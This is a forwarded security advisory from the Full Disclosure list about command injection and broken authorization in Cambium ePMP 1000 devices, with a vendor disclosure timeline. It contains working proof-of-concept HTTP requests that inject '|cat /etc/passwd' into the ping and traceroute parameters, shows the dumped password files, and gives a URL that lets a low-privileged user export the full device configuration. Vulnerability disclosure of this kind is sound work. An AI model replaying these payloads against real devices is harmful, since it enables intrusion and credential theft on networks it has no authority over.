Begin forwarded message: 



From: Karn Ganeshen < [email protected] > 
Date: November 18, 2015 at 6:35:43 PM EST 
To: " [email protected] " < [email protected] > 
Subject: [FD] Cambium ePMP 1000 - Multiple Vulnerabilities 




<blockquote>

* July 14, 2015 : *First contacted Cambium 

* July 14, 2015 : *Initial vendor response 

* July 16, 2015 : *Vuln Details reported to Cambium 

* July 31, 2015 :* Followup on advisory and fix timelines 

* August 03, 2015 : *Vendor gives mid-Aug as fix (v2.5) release 
timeline. Ceases communication. 

* Nov 19, 2015 : *Releasing vulnerability details & poc 


*Versions affected*: < v2.5 


..... 

*CVE-IDs* - To be assigned. 

..... 


*Background * 

http://www.cambiumnetworks.com/products/access/epmp-1000/ 



ePMP™ 1000 
Wireless service providers and enterprises need reliable, high-quality 
broadband connectivity that can be rapidly deployed and expanded. The 
ePMP platform provides stable coverage across large service areas and 
enhances your existing infrastructure. 


*Deployed by:* 


ION Telecom 
Kayse Wireless 
Vanilla Telecom 
Traeger Park 
EszakNet 
Edera 
Videon 
COMeSER 
Seattle, WA 
Budapest Video Surveillance 
Desktop 
Silo Wireless 
Rocket Broadband 
Snavely Forest Products 
KRK Sistemi 
KAJA Komputer 
Root Media 


*Vulnerability Details* 

*From Cambium Networks ePMP 1000 user / configuration guide: 
* 
ePMP 1000 has four (4) users - 

- ADMINISTRATOR, who has full read and write permissions. 
- INSTALLER, who has permissions to read and write parameters 
applicable to unit installation and monitoring. 
- HOME, who has permissions only to access pertinent information for 
support purposes 
- READONLY, who only has permissions to view the Monitor page. 


..... 

1. *OS Command Injection * 

'admin' and 'installer' users have access to perform Ping and 
Traceroute functions via GUI. No other user has this access. 

Ping function accepts destination IP address value via 'ping_ip 
parameter and uses three (3) other parameters - packets_num, buf_size 
and ttl, to perform Ping. 

Traceroute function accepts destination IP address via 'traceroute_ip' 
parameter. 

The application does not perform strict input validation for all these 
parameters - ping_ip', packets_num, buf_size and ttl for Ping 
function; and traceroute_ip for Traceroute function. 

This allows an authenticated user - 'admin' or non-admin, 
low-privileged 'installer' & ‘home’ users - to be able to inject 
arbitrary system commands that gets executed by the host. 

..... 
*PING PoC * 

..... 
HTTP Request 
..... 

POST /cgi-bin/luci/;stok=<stok_value>/admin/ping HTTP/1.1 
Host: <IP_address> 
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:38.0) 
Gecko/20100101 Firefox/38.0 
Accept: */* 
Accept-Language: en-US,en;q=0.5 
Accept-Encoding: gzip, deflate 
Content-Type: application/x-www-form-urlencoded; charset=UTF-8 
X-Requested-With: XMLHttpRequest 
Referer: http:// <IP_address>/ 
Cookie: sysauth=<sysauth_value>; 
globalParams=%7B%22dashboard%22%3A%7B%22refresh_rate%22%3A%225%22%7D%2C%22installer%22%3A%7B%22refresh_rate%22%3A%225%22%7D%7D;
 
userType=Installer; usernameType=installer; stok=<stok_value> 
DNT: 1 
Connection: keep-alive 
Pragma: no-cache 
Cache-Control: no-cache 

ping_ip=8.8.8.8|cat%20/etc/passwd%20||&packets_num=1&buf_size=1&ttl=1&debug=0 

[ 
*or* 

ping_ip=8.8.8.8&packets_num=1|cat%20/etc/passwd%20||&buf_size=1&ttl=1&debug=0 
*or* 

ping_ip=8.8.8.8&packets_num=1&buf_size=1|cat%20/etc/passwd%20||&ttl=1&debug=0 
*or* 

ping_ip=8.8.8.8&packets_num=1&buf_size=1&ttl=1|cat%20/etc/passwd%20||&debug=0 
] 


..... 
HTTP Response 
..... 

HTTP/1.1 200 OK 
Cache-Control: no-store, no-cache, max-age=0, must-revalidate, 
post-check=0, pre-check=0 
Cache-Control: no-cache 
Status: 200 OK 
Content-Type: text/plain 
Expires: 0 
Date: Sun, 18 Jan 1970 14:45:37 GMT 
Server: Cambium HTTP Server 

daemon:*:1:1:daemon:/var:/bin/false 
ftp:*:55:55:ftp:/home/ftp:/bin/false 
network:*:101:101:network:/var:/bin/false 
admin:<password_hash>:1000:4:admin:/tmp:/usr/bin/clish 
installer:<password_hash>:2000:100:installer:/tmp:/bin/false 
home:<password_hash>:3000:100:home:/tmp:/bin/false 
readonly:<password_hash>:4000:100:readonly:/tmp:/bin/false 
dashboard:<password_hash>:5000:100:dashboard:/tmp:/bin/false 
nobody:*:65534:65534:nobody:/var:/bin/false 
root:<password_hash>:0:0:root:/root:/bin/ash 


..... 
*traceroute - PoC 
* 
..... 
HTTP Request 
..... 

POST /cgi-bin/luci/;stok=<stok_value>/admin/traceroute HTTP/1.1 
Host: <IP_address> 
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:38.0) 
Gecko/20100101 Firefox/38.0 
Accept: */* 
Accept-Language: en-US,en;q=0.5 
Accept-Encoding: gzip, deflate 
Content-Type: application/x-www-form-urlencoded; charset=UTF-8 
X-Requested-With: XMLHttpRequest 
Referer: http:// <IP_address>/ 
Cookie: sysauth=<sysauth_value>; 
globalParams=%7B%22dashboard%22%3A%7B%22refresh_rate%22%3A%225%22%7D%2C%22installer%22%3A%7B%22refresh_rate%22%3A%225%22%7D%7D;
 
userType=Installer; usernameType=installer; stok=<stok_value> 
DNT: 1 
Connection: keep-alive 
Pragma: no-cache 
Cache-Control: no-cache 

traceroute_ip=8.8.8.8|cat%20/etc/passwd%20||&fragm=0&trace_method=icmp_echo&display_ttl=0&verbose=0&debug=0
 

..... 
HTTP Response 
..... 

HTTP/1.1 200 OK 
Cache-Control: no-store, no-cache, max-age=0, must-revalidate, 
post-check=0, pre-check=0 
Cache-Control: no-cache 
Status: 200 OK 
Content-Type: text/plain 
Expires: 0 
Date: Sun, 18 Jan 1970 16:09:26 GMT 
Server: Cambium HTTP Server 

daemon:*:1:1:daemon:/var:/bin/false 
ftp:*:55:55:ftp:/home/ftp:/bin/false 
network:*:101:101:network:/var:/bin/false 
admin:<password_hash>:1000:4:admin:/tmp:/usr/bin/clish 
installer:<password_hash>:2000:100:installer:/tmp:/bin/false 
home:<password_hash>:3000:100:home:/tmp:/bin/false 
readonly:<password_hash>:4000:100:readonly:/tmp:/bin/false 
dashboard:<password_hash>:5000:100:dashboard:/tmp:/bin/false 
nobody:*:65534:65534:nobody:/var:/bin/false 
root:<password_hash>:0:0:root:/root:/bin/ash 


..... 

2. *Weak Authorization Controls + privilege escalation* 

'home' and 'readonly' users do not have access to Ping and Traceroute 
functions via management portal. However, the application lacks strict 
authorization controls, and we can still perform both these functions 
by sending corresponding HTTP(S) requests directly, when logged in as 
low-privileged, 'home' user. 

When we combine this flaw with above described OS Command Injection 
affecting ping and traceroute, it is possible for non-admin, 
low-privileged, ‘home’ user to execute system level commands via 
'ping' and 'traceroute' functions and dump password hashes easily and 
/ or perform any system level functions. 
*Note*: ‘readonly’ user cannot perform this. Only ‘home’ user can 
exploit these. 

..... 
*Steps to attack - 
* 
a login as home user 
b craft & send HTTP request for ping and traceroute functions 

..... 
Login - HTTP Request 
.. 

POST /cgi-bin/luci HTTP/1.1 
Host: <IP_address> 
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:38.0) 
Gecko/20100101 Firefox/38.0 
Accept: application/json, text/javascript, */*; q=0.01 
Accept-Language: en-US,en;q=0.5 
Accept-Encoding: gzip, deflate 
Content-Type: application/x-www-form-urlencoded; charset=UTF-8 
X-Requested-With: XMLHttpRequest 
Referer: http:// <IP_address>/ 
Cookie: sysauth=<sysauth_value>; 
globalParams=%7B%22dashboard%22%3A%7B%22refresh_rate%22%3A%225%22%7D%2C%22installer%22%3A%7B%22refresh_rate%22%3A%225%22%7D%7D
 
DNT: 1 
Connection: keep-alive 
Pragma: no-cache 
Cache-Control: no-cache 

username=home&password=<password> 


..... 
Login - HTTP Response 
.. 


HTTP/1.1 200 OK 
Cache-Control: no-store, no-cache, max-age=0, must-revalidate, 
post-check=0, pre-check=0 
Cache-Control: no-cache 
Status: 200 OK 
Set-Cookie: sysauth=<home-sysauth_value>; 
path=/cgi-bin/luci/;stok=<home-stok-value> 
Content-Type: application/json 
Expires: 0 
Date: Sun, 18 Jan 1970 16:40:50 GMT 
Server: Cambium HTTP Server 

{ "stok": <home-stok_value>", "certif_dir": "/tmp/new_certificates/", 
"status_url": "/cgi-bin/luci/;stok=<home-stok_value>/admin/status } 


.. 
*Sending HTTP request for Ping function 
* 
..... 
HTTP Request 
..... 

POST /cgi-bin/luci/;stok=<home-stok_value>/admin/ping HTTP/1.1 
Host: <IP_address> 
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:38.0) 
Gecko/20100101 Firefox/38.0 
Accept: */* 
Accept-Language: en-US,en;q=0.5 
Accept-Encoding: gzip, deflate 
Content-Type: application/x-www-form-urlencoded; charset=UTF-8 
X-Requested-With: XMLHttpRequest 
Referer: http:// <IP_address>/ 
Cookie: sysauth=<home-sysauth_value>; 
globalParams=%7B%22dashboard%22%3A%7B%22refresh_rate%22%3A%225%22%7D%2C%22installer%22%3A%7B%22refresh_rate%22%3A%225%22%7D%7D;
 
userType=Home User; usernameType=home; stok=<home-stok_value> 
DNT: 1 
Connection: keep-alive 
Pragma: no-cache 
Cache-Control: no-cache 

ping_ip=8.8.8.8|cat%20/etc/passwd%20||&packets_num=1&buf_size=1&ttl=1&debug=0 

..... 
HTTP Response 
..... 

HTTP/1.1 200 OK 
Cache-Control: no-store, no-cache, max-age=0, must-revalidate, 
post-check=0, pre-check=0 
Cache-Control: no-cache 
Status: 200 OK 
Content-Type: text/plain 
Expires: 0 
Date: Sun, 18 Jan 1970 14:45:37 GMT 
Server: Cambium HTTP Server 

daemon:*:1:1:daemon:/var:/bin/false 
ftp:*:55:55:ftp:/home/ftp:/bin/false 
network:*:101:101:network:/var:/bin/false 
admin:<password_hash>:1000:4:admin:/tmp:/usr/bin/clish 
installer:<password_hash>:2000:100:installer:/tmp:/bin/false 
home:<password_hash>:3000:100:home:/tmp:/bin/false 
readonly:<password_hash>:4000:100:readonly:/tmp:/bin/false 
dashboard:<password_hash>:5000:100:dashboard:/tmp:/bin/false 
nobody:*:65534:65534:nobody:/var:/bin/false 
root:<password_hash>:0:0:root:/root:/bin/ash 

.. 

Similarly, Traceroute function can be exploited. 

......................................................................................................................................................
 

3. *Weak Authorization Controls + Information Disclosure* 

In addition to 'admin', only 'installer' user has the option to access 
device configuration. ‘home’ user does not have GUI option and should 
not be able to access / download device configuration. However, the 
application lacks strict authorization measures and the low-privileged 
'home' user can gain unauthorized access to the device configuration 
simply by requesting it. 
*Configuration backup export* can be performed by directly accessing 
the following url: 
* http:// 
<IP_address>/cgi-bin/luci/;stok=<homeuser-stok_value>/admin/config_export?opts=json
 
* 
Upon a successful config export, full device configuration with 
clear-text passwords, usernames, keys, IP addresses, statistics, logs 
etc is downloaded. 

HTTP/1.1 200 OK 
Cache-Control: no-store, no-cache, max-age=0, must-revalidate, 
post-check=0, pre-check=0 
Cache-Control: no-cache 
Status: 200 OK 
Content-Type: application/json 
Content-Disposition: attachment; filename=<filename>.json 
Expires: 0 
Date: Sun, 18 Jan 1970 16:50:21 GMT 
Server: Cambium HTTP Server 

{ 
"template_props": 
{ 
"templateName":"", 
"templateDescription":"", 
"device_type":"", 

… 
<output - snipped> 
… 
} 

..... 


Best Regards, 

Karn Ganeshen 

-- 
Best Regards, 
Karn Ganeshen 

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</blockquote>





----- 
Mike Hammett 
Intelligent Computing Solutions 
http://www.ics-il.com 



Midwest Internet Exchange 
http://www.midwest-ix.com 



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